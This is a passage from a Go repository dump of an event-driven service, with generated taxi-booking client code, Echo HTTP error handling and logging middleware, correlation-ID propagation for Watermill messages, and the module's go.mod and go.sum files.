| Body: bodyBytes, 853 | HTTPResponse: rsp, 854 | } 855 | 856 | switch { 857 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 201: 858 | var dest TaxiBookingResponse 859 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 860 | return nil, err 861 | } 862 | response.JSON201 = &dest 863 | 864 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 400: 865 | var dest ErrorResponse 866 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 867 | return nil, err 868 | } 869 | response.JSON400 = &dest 870 | 871 | } 872 | 873 | return response, nil 874 | } 875 | 876 | // ParseDeleteTaxiBookingBookingIdResponse parses an HTTP response from a DeleteTaxiBookingBookingIdWithResponse call 877 | func ParseDeleteTaxiBookingBookingIdResponse(rsp *http.Response) (*DeleteTaxiBookingBookingIdResponse, error) { 878 | bodyBytes, err := io.ReadAll(rsp.Body) 879 | defer func() { _ = rsp.Body.Close() }() 880 | if err != nil { 881 | return nil, err 882 | } 883 | 884 | response := &DeleteTaxiBookingBookingIdResponse{ 885 | Body: bodyBytes, 886 | HTTPResponse: rsp, 887 | } 888 | 889 | return response, nil 890 | } 891 | -------------------------------------------------------------------------------- /common/http/echo.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "errors" 5 | "net/http" 6 | 7 | "github.com/untruevenee/go-event-driven/common/log" 8 | "github.com/labstack/echo/v4" 9 | ) 10 | 11 | func NewEcho() *echo.Echo { 12 | e := echo.New() 13 | e.HideBanner = true 14 | 15 | useMiddlewares(e) 16 | e.HTTPErrorHandler = HandleError 17 | 18 | return e 19 | } 20 | 21 | func HandleError(err error, c echo.Context) { 22 | log.FromContext(c.Request().Context()).WithError(err).Error("HTTP error") 23 | 24 | httpCode := http.StatusInternalServerError 25 | msg := any("Internal server error") 26 | 27 | httpErr := &echo.HTTPError{} 28 | if errors.As(err, &httpErr) { 29 | httpCode = httpErr.Code 30 | msg = httpErr.Message 31 | } 32 | 33 | jsonErr := c.JSON( 34 | httpCode, 35 | map[string]any{ 36 | "error": msg, 37 | }, 38 | ) 39 | if jsonErr != nil { 40 | panic(err) 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /common/http/middlewares.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "unicode/utf8" 5 | 6 | "github.com/untruevenee/go-event-driven/common/log" 7 | "github.com/labstack/echo/v4" 8 | "github.com/labstack/echo/v4/middleware" 9 | "github.com/lithammer/shortuuid/v3" 10 | "github.com/sirupsen/logrus" 11 | ) 12 | 13 | func useMiddlewares(e *echo.Echo) { 14 | e.Use( 15 | middleware.RequestIDWithConfig(middleware.RequestIDConfig{ 16 | Generator: func() string { 17 | return shortuuid.New() 18 | }, 19 | }), 20 | middleware.BodyDump(func(c echo.Context, reqBody, resBody []byte) { 21 | reqID := c.Response().Header().Get(echo.HeaderXRequestID) 22 | fields := logrus.Fields{ 23 | "request_id": reqID, 24 | "request_body: ": string(reqBody), 25 | } 26 | if utf8.ValidString(string(resBody)) { 27 | fields["response_body: "] = string(resBody) 28 | } else { 29 | fields["response_body: "] = "" 30 | } 31 | 32 | logger := log.FromContext(c.Request().Context()).WithFields(fields) 33 | 34 | logger.Info("Request/response") 35 | }), 36 | middleware.RequestLoggerWithConfig(middleware.RequestLoggerConfig{ 37 | LogURI: true, 38 | LogRequestID: true, 39 | LogStatus: true, 40 | LogMethod: true, 41 | LogLatency: true, 42 | LogValuesFunc: func(c echo.Context, values middleware.RequestLoggerValues) error { 43 | log.FromContext(c.Request().Context()).WithFields(logrus.Fields{ 44 | "URI": values.URI, 45 | "request_id": values.RequestID, 46 | "status": values.Status, 47 | "method": values.Method, 48 | "duration": values.Latency.String(), 49 | }).WithError(values.Error).Info("Request done") 50 | 51 | return nil 52 | }, 53 | }), 54 | func(next echo.HandlerFunc) echo.HandlerFunc { 55 | return func(c echo.Context) error { 56 | req := c.Request() 57 | ctx := req.Context() 58 | 59 | reqCorrelationID := req.Header.Get(log.CorrelationIDHttpHeader) 60 | if reqCorrelationID == "" { 61 | reqCorrelationID = shortuuid.New() 62 | } 63 | 64 | ctx = log.ToContext(ctx, logrus.WithFields(logrus.Fields{"correlation_id": reqCorrelationID})) 65 | ctx = log.ContextWithCorrelationID(ctx, reqCorrelationID) 66 | 67 | c.SetRequest(req.WithContext(ctx)) 68 | c.Response().Header().Set(log.CorrelationIDHttpHeader, reqCorrelationID) 69 | 70 | return next(c) 71 | } 72 | }, 73 | ) 74 | } 75 | -------------------------------------------------------------------------------- /common/log/correlation.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/lithammer/shortuuid/v3" 7 | ) 8 | 9 | func ContextWithCorrelationID(ctx context.Context, correlationID string) context.Context { 10 | return context.WithValue(ctx, correlationIDKey, correlationID) 11 | } 12 | 13 | func CorrelationIDFromContext(ctx context.Context) string { 14 | v, ok := ctx.Value(correlationIDKey).(string) 15 | if ok { 16 | return v 17 | } 18 | 19 | FromContext(ctx).Warn("correlation ID not found in context") 20 | 21 | // add "gen_" prefix to distinguish generated correlation IDs from correlation IDs passed by the client 22 | // it's useful to detect if correlation ID was not passed properly 23 | return "gen_" + shortuuid.New() 24 | } 25 | -------------------------------------------------------------------------------- /common/log/ctx.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | type ctxKey int 4 | 5 | const ( 6 | loggerKey ctxKey = iota 7 | correlationIDKey ctxKey = iota 8 | ) 9 | -------------------------------------------------------------------------------- /common/log/http.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | var CorrelationIDHttpHeader = "Correlation-ID" 4 | -------------------------------------------------------------------------------- /common/log/log.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/sirupsen/logrus" 7 | ) 8 | 9 | func FromContext(ctx context.Context) *logrus.Entry { 10 | log, ok := ctx.Value(loggerKey).(*logrus.Entry) 11 | if ok { 12 | return log 13 | } 14 | 15 | return logrus.NewEntry(logrus.StandardLogger()) 16 | } 17 | 18 | func ToContext(ctx context.Context, log *logrus.Entry) context.Context { 19 | return context.WithValue(ctx, loggerKey, log) 20 | } 21 | -------------------------------------------------------------------------------- /common/log/logrus.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import "github.com/sirupsen/logrus" 4 | 5 | func Init(level logrus.Level) { 6 | logrus.SetLevel(level) 7 | 8 | logrus.SetFormatter(&logrus.TextFormatter{ 9 | ForceColors: true, 10 | DisableQuote: true, 11 | TimestampFormat: "15:04:05.0000", 12 | FullTimestamp: true, 13 | QuoteEmptyFields: true, 14 | }) 15 | } 16 | -------------------------------------------------------------------------------- /common/log/watermill.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "github.com/ThreeDotsLabs/watermill" 5 | "github.com/ThreeDotsLabs/watermill/message" 6 | "github.com/sirupsen/logrus" 7 | ) 8 | 9 | const correlationIDMessageMetadataKey = "correlation_id" 10 | 11 | type CorrelationPublisherDecorator struct { 12 | message.Publisher 13 | } 14 | 15 | func (c CorrelationPublisherDecorator) Publish(topic string, messages ...*message.Message) error { 16 | for i := range messages { 17 | // if correlation_id is already set, let's not override 18 | if messages[i].Metadata.Get(correlationIDMessageMetadataKey) != "" { 19 | continue 20 | } 21 | 22 | // correlation_id as const 23 | messages[i].Metadata.Set(correlationIDMessageMetadataKey, CorrelationIDFromContext(messages[i].Context())) 24 | } 25 | 26 | return c.Publisher.Publish(topic, messages...) 27 | } 28 | 29 | type WatermillLogrusAdapter struct { 30 | Log *logrus.Entry 31 | } 32 | 33 | func NewWatermill(log *logrus.Entry) *WatermillLogrusAdapter { 34 | return &WatermillLogrusAdapter{Log: log} 35 | } 36 | 37 | func (w WatermillLogrusAdapter) Error(msg string, err error, fields watermill.LogFields) { 38 | w.Log.WithError(err).WithFields(logrus.Fields(fields)).Error(msg) 39 | } 40 | 41 | func (w WatermillLogrusAdapter) Info(msg string, fields watermill.LogFields) { 42 | // Watermill info logs are too verbose 43 | w.Log.WithFields(logrus.Fields(fields)).Debug(msg) 44 | } 45 | 46 | func (w WatermillLogrusAdapter) Debug(msg string, fields watermill.LogFields) { 47 | w.Log.WithFields(logrus.Fields(fields)).Debug(msg) 48 | } 49 | 50 | func (w WatermillLogrusAdapter) Trace(msg string, fields watermill.LogFields) { 51 | w.Log.WithFields(logrus.Fields(fields)).Trace(msg) 52 | } 53 | 54 | func (w WatermillLogrusAdapter) With(fields watermill.LogFields) watermill.LoggerAdapter { 55 | return WatermillLogrusAdapter{w.Log.WithFields(logrus.Fields(fields))} 56 | } 57 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/untruevenee/go-event-driven 2 | 3 | go 1.23 4 | 5 | require ( 6 | github.com/ThreeDotsLabs/watermill v1.3.2 7 | github.com/deepmap/oapi-codegen v1.12.4 8 | github.com/labstack/echo/v4 v4.9.1 9 | github.com/lithammer/shortuuid/v3 v3.0.7 10 | github.com/sirupsen/logrus v1.9.0 11 | ) 12 | 13 | require ( 14 | github.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect 15 | github.com/golang-jwt/jwt v3.2.2+incompatible // indirect 16 | github.com/google/uuid v1.3.0 // indirect 17 | github.com/labstack/gommon v0.4.0 // indirect 18 | github.com/mattn/go-colorable v0.1.13 // indirect 19 | github.com/mattn/go-isatty v0.0.16 // indirect 20 | github.com/oklog/ulid v1.3.1 // indirect 21 | github.com/pkg/errors v0.9.1 // indirect 22 | github.com/valyala/bytebufferpool v1.0.0 // indirect 23 | github.com/valyala/fasttemplate v1.2.2 // indirect 24 | golang.org/x/crypto v0.1.0 // indirect 25 | golang.org/x/net v0.2.0 // indirect 26 | golang.org/x/sys v0.4.0 // indirect 27 | golang.org/x/text v0.4.0 // indirect 28 | golang.org/x/time v0.0.0-20220411224347-583f2d630306 // indirect 29 | ) 30 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk= 2 | github.com/ThreeDotsLabs/watermill v1.3.2 h1:uU0F+sDmjHh6aYr0xo4gBZy8Tq77DM5F2cvJU46CO6I= 3 | github.com/ThreeDotsLabs/watermill v1.3.2/go.mod h1:zn/7F0TGOr1K/RX7bFbVxii6p1abOMLllAMpVpKinQg= 4 | github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ= 5 | github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk= 6 | github.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w= 7 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/deepmap/oapi-codegen v1.12.4 h1:pPmn6qI9MuOtCz82WY2Xaw46EQjgvxednXXrP7g5Q2s= 11 | github.com/deepmap/oapi-codegen v1.12.4/go.mod h1:3lgHGMu6myQ2vqbbTXH2H1o4eXFTGnFiDaOaKKl5yas= 12 | github.com/golang-jwt/jwt v3.2.2+incompatible h1:IfV12K8xAKAnZqdXVzCZ+TOjboZ2keLg81eXfW3O+oY= 13 | github.com/golang-jwt/jwt v3.2.2+incompatible/go.mod h1:8pz2t5EyA70fFQQSrl6XZXzqecmYZeUEB8OUGHkxJ+I= 14 | github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 15 | github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= 16 | github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 17 | github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= 18 | github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= 19 | github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE= 20 | github.com/labstack/echo/v4 v4.9.1 h1:GliPYSpzGKlyOhqIbG8nmHBo3i1saKWFOgh41AN3b+Y= 21 | github.com/labstack/echo/v4 v4.9.1/go.mod h1:Pop5HLc+xoc4qhTZ1ip6C0RtP7Z+4VzRLWZZFKqbbjo= 22 | github.com/labstack/gommon v0.4.0 h1:y7cvthEAEbU0yHOf4axH8ZG2NH8knB9iNSoTO8dyIk8= 23 | github.com/labstack/gommon v0.4.0/go.mod h1:uW6kP17uPlLJsD3ijUYn3/M5bAxtlZhMI6m3MFxTMTM= 24 | github.com/lithammer/shortuuid/v3 v3.0.7 h1:trX0KTHy4Pbwo/6ia8fscyHoGA+mf1jWbPJVuvyJQQ8= 25 | github.com/lithammer/shortuuid/v3 v3.0.7/go.mod h1:vMk8ke37EmiewwolSO1NLW8vP4ZaKlRuDIi8tWWmAts= 26 | github.com/mattn/go-colorable v0.1.11/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= 27 | github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= 28 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= 29 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 30 | github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= 31 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= 32 | github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4= 33 | github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= 34 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 35 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 36 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 37 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 38 | github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= 39 | github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 40 | github.com/spkg/bom v0.0.0-20160624110644-59b7046e48ad/go.mod h1:qLr4V1qq6nMqFKkMo8ZTx3f+BZEkzsRUY10Xsm2mwU0= 41 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 42 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 43 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 44 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= 45 | github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= 46 | github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= 47 | github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= 48 | github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo= 49 | github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= 50 | golang.org/x/crypto v0.1.0 h1:MDRAIl0xIo9Io2xV565hzXHw3zVseKrJKodhohM5CjU= 51 | golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= 52 | golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU= 53 | golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= 54 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 55 | golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 56 | golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 57 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 58 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 59 | golang.org/x/sys v0.4.0 h1:Zr2JFtRQNX3BCZ8YtxRE9hNJYC8J6I1MVbMg6owUp18= 60 | golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 61 | golang.org/x/text v0.4.0 h1:BrVqGRd7+k1DiOgtnFvAkoQEWQvBc25ouMJM6429SFg= 62 | golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 63 | golang.org/x/time v0.0.0-20220411224347-583f2d630306 h1:+gHMid33q6pen7kv9xvT+JRinntgeXO2AeZVd0AWD3w= 64 | golang.org/x/time v0.0.0-20220411224347-583f2d630306/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= 65 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 66 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 67 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 68 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 69 | --------------------------------------------------------------------------------